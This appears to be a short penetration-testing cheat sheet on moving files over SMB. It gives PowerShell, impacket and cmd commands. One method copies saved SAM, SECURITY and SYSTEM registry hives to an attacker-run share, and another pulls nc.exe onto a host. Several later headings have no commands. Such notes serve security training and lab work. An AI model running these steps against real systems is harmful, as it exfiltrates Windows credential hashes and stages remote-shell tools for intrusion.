githubEdit

smb

SMB Upload

METHOD1:

$pass = converto-securestring 'kali' -AsPlainText -Force
$cred = new-object system.management.automation.pscredential('kali', $pass)
new-psdrive -name kali -psprovider FileSystem -credential $cred -root \\10.10.14.21\share
cd tools:

METHOD2:

Creating SMB share

sudo impacket-smbserver -smb2support share /home/bob/Documents

Moving hashes to share

move sam.save \\10.10.15.16\share
move security.save \\10.10.15.16\share
move system.save \\10.10.15.16\share

METHOD3 (cmd):

Mount SMB share

net use n: \\\\192.168.220.133\\share\\ /user:test test
copy n:\nc.exe

SMB Downloads

Create SMB server

Copy a file from the SMB server

Create SMB server with credentials

Mount SMB share

#mountsmbshare

Last updated